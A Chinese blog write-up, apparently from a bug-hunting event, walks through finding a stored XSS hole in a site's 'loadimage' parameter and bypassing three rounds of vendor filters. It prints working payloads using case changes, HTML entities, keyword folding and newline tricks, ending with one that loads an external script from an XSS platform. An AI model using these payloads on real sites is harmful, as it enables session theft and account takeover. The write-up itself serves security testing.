一日在某站点发现一个找茬活动,感觉是另类的src就参与了一下。就发生了这次有趣的XSS测试过程。

0×00 开始

(注意1)XSS不仅存在于页面上直观所在的位置,所有用户输入的信息都有可能通过不同形式返回到页面上,因此直接操作数据包来查找XSS显得更加有效。

回到该站点,在该站点一处生成app处存在一处忘记过滤。

发送的数据包如下:

  1. appName=TEST&icon=&loadimage=%2Ftemplate201309%2F29%2Floadimage%2F1a8aaba1-42bd-401b-9995-0f7ba08f191b.png&diyAppid=0210bd39-de98-4a1b-b855-4b0a0732894a

经过测试发现其中loadimage参数未经过过滤,这也就是我说的隐藏的输入输出位,最终直接构造:

  1. loadimage=xxxxx"%20onerror="alert(1)"

  

0×01 觉醒

在漏洞上报之后,程序员觉醒了,由于涉及其它页面参数输出过滤的影响,无法直接使用粗暴的编码把”(双引号)过滤,而是使用一定的过滤规则来规避xss攻击。

(注意2)XSS绕过一般针对于程序员所使用的过滤规则的疏漏,但是首要目标应该是在程序员未过滤的点上,而只有规则的不严谨才有绕过的可能。

在得到客服的回复确认漏洞修复之后,再次回到该点进行测试,继而发现了有趣的情况。

测试代码:

  1. loadimage=xxxxx"%20onerror="alert(1)" à  <img class="appicon_img" src="xxxxxx" ***(1)>

经过这个测试用例发现,在空格之后的内容经过了一次处理,将其中alert替换成了***,onerror=直接删除。

分析发现空格之后的内容会被直接删除,onXXX被直接删除。

于是结合过往经验,使用大小写来尝试绕过字符串替换。

测试代码:

  1. loadimage=xxxxx"onError="alert(1)" à<img class="appicon_img" src="xxxxxx"onError=”***(1)”>

于是我们利用了浏览器的一个特性,在解析的时候将双引号与其后内容分割,所以在源码中是:

  1. <img class="appicon_img" src="xxxxxx"onError=”***(1)”>

而解析过程中显示:

  1. <img class="appicon_img" src="xxxxxx" onError=”***(1)”>(自动添加空格)

之后就是要构造我们的alert。(只有alert才是我想要的,什么prompt,confirm都不是我想要的。)

这里要说到的就是转编码的利用。

详文可参考:

http://drops.wooyun.org/tips/689

处于html上下文的字符串将会优先进行一次html解码,而处于onXXXX、javascript:、script等标签之中的则处于javascript上下文,其中变量字符串将会执行一次javascript解码。

运用这个特性,我们可以在onerror事件当中使用html编码来构造任意字符,而其中所必须的字符为&,很幸运的时该字符并未被过滤。因此我可以使用其构造任意字符,达到绕过的效果。

直接构造:

  1. loadimage=xxxxx"onError="%26#x61lert(1)"

0×02 绝杀

再次提交客服,并得到修复确认后,又进行了一次测试,之后继续有趣。

(注意3)确定过滤规则是绕过限制的第一步,通过已知规则构造绕过payload来生成所需字符为最终目的。

绕过富文本大概的思路就是这样。

继续通过输入不同字符串来检查新增的过滤规则,最终得到几条有用的信息:

  1. <img src="1"onerroonerrorr=r= /> ==> <img src="1"onerror>
  2. <img src="1"onerror===”xxx” /> ==> <img src="1" =”xxx” />

本以为结合一下就成了,没想到变成这样:

  1. <img src="1"onerroonerrorr=r= onerror===”xxx”/> ==> <img src="1" />

初步分析等到的规则:

1、onxxx= 将会去除on以及=和它们之间的内容

2、有 = 号就会检查前面有没有on

3、tab %20(空格)之后的内容全部清除

4、碰到双引号就停止删除

大概统计了一下以上的过滤规则,就可以开始构造payload了。

使用src=”1″onerroonerrorr=r生成onerror。

使用%0a(换行)来分割导致过滤不起作用。

最终完成了整条payload:

  1. <img src="1"onerroonerrorr=r%0a="prompt(/just kidding!/)" />

(这次不计较与alert了,使用上一条方法即可。)

最终截图:

同样可以解析成功!

0×03 利用

完整的XSS一定需要附带利用的过程,可完整构造payload还需要考虑很多情况,比如关键字符串的替换、输出点允许的最大字长、是否可影响其他用户或管理员。

最终侦查该点,长度为262个字符,替换了script、create等字符,不过通过之前记录下来的方法完全可以利用。

Payload:

  1. <img/src="1" onerroonerrorr=r%0a="window.s=document.cre%26#61teElement(String.fromCh%26#61rCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(1,2,3,4,5,6,7,8);document.body.%26#61ppendChild(window.s)">

即使你的xss平台URL很长,也可以通过利用短域名压缩的方式达到一个较低的水平。

0×04 总结

新手在找XSS的时候总是存在一些盲点,无法全面的获取用户输入位以及该点的输出页面,对于存储型XSS来说,输出的页面不局限于当前页面。

探查程序的代码逻辑是绕过的根本,fuzz虽然提高了效率,但是想要准确的发现问题必须有要针对性的构造语句。

另外一些领悟可以移驾gainover所写的一篇短文:

http://zone.wooyun.org/content/1557

0×05 后话

最后一次绕过是在5.12,不知道之后该站程序员会怎么样去处理这个问题。

exp2:// 一次存储型XSS从易到难的挖掘过程的更多相关文章

  1. 利用mysql对特殊字符和超长字符会进行截断的特性 进行存储型XSS攻击——WordPress <4.1.2 & <=4.2 存储型xss

    转自:Baidu Security LabXteam http://xteam.baidu.com/?p=177 漏洞概述 本次漏洞出现两个使用不同方式截断来实现的存储型xss,一种为特殊字符截断,一 ...

  2. Coremail邮件系统存储型XSS两个

    (1):Coremail邮件系统存储型XSS之一 给受害者发送主题如下的邮件: <svg onload='img=new Image();img.src="//x55.me/geo.p ...

  3. 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF

    存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...

  4. Java Web开发 - 持久型/存储型XSS漏洞

    Java Web开发 - 持久型/存储型XSS漏洞 1.什么是XSS漏洞攻击? XSS是跨站脚本攻击(Cross Site Scripting)的简称,之所以叫XSS而不是CSS相比大家都能明白了吧, ...

  5. DVWA 黑客攻防演练(十一) 存储型 XSS 攻击 Stored Cross Site Scripting

    上一篇文章会介绍了反射型 XSS 攻击.本文主要是通过 dvwa 介绍存储型 XSS 攻击.存储型 XSS 攻击影响范围极大.比如是微博.贴吧之类的,若有注入漏洞,再假如攻击者能用上一篇文章类似的代码 ...

  6. 【代码审计】大米CMS_V5.5.3 后台多处存储型XSS漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  7. 【代码审计】QYKCMS_v4.3.2 前台存储型XSS跨站脚本漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  8. 【代码审计】iZhanCMS_v2.1 前台存储型XSS漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

  9. 【代码审计】eduaskcms_v1.0.7前台存储型XSS漏洞分析

      0x00 环境准备 eduaskcms官网:https://www.eduaskcms.xin 网站源码版本:eduaskcms-1.0.7 程序源码下载:https://www.eduaskcm ...

随机推荐

  1. 被孟加拉题吊打的ACM考试

    https://codeforces.com/gym/101864 题目并不难 B 考虑新加入的线段和之前线段有交的个数 总数-不交的,不交的:右端点在[l,r]左边,左端点在[l,r]右边的. 维护 ...

  2. go微服务框架kratos学习笔记五(kratos 配置中心 paladin config sdk [断剑重铸之日,骑士归来之时])

    目录 go微服务框架kratos学习笔记五(kratos 配置中心 paladin config sdk [断剑重铸之日,骑士归来之时]) 静态配置 flag注入 在线热加载配置 远程配置中心 go微 ...

  3. maven parent 与 import 的区别

    在 maven 配置文件 pom.xml 中可以 引入 <parent>,方式如下(举例是 spring-boot-starter-parent 中的继承关系)   <parent& ...

  4. 不仅仅是双11大屏—Flink应用场景介绍

    双11大屏 每年天猫双十一购物节,都会有一块巨大的实时作战大屏,展现当前的销售情况. 这种炫酷的页面背后,其实有着非常强大的技术支撑,而这种场景其实就是实时报表分析. 实时报表分析是近年来很多公司采用 ...

  5. 003eop常见问题设置

  6. $bzoj4152\ The\ Captain$ 最短路

    正解:最短路+优化连边 解题报告: 传送门$w$ 这种优化连边啥的真的好妙噢$QwQ$ 首先显然离散化下不说$QwQ$.然后对所有横坐标纵坐标分别建点,相邻两横坐标点相连,边权为离散前的坐标差.纵坐标 ...

  7. 1026 程序运行时间 (15 分)C语言

    题目描述 要获得一个C语言程序的运行时间,常用的方法是调用头文件time.h,其中提供了clock()函数,可以捕捉从程序开始运行到clock()被调用时所耗费的时间.这个时间单位是clock tic ...

  8. 1077 互评成绩计算 (20 分)C语言

    在浙大的计算机专业课中,经常有互评分组报告这个环节.一个组上台介绍自己的工作,其他组在台下为其表现评分.最后这个组的互评成绩是这样计算的:所有其他组的评分中,去掉一个最高分和一个最低分,剩下的分数取平 ...

  9. git简单使用指南

    git - 简易指南 这是一篇最适合初学者的教程,这里面没有高深的内容.学习git它可以帮助你管项目代码,提高团队开发效率.我使用的是win10系统,这里我会用它来给大家讲解. git - 安装 安装 ...

  10. javaScript类型和对象

    javaScript基本数据类型 Undefined: Null: Boolean: String: Number: Symbol: Object. 注意 JavaScript 的代码 undefin ...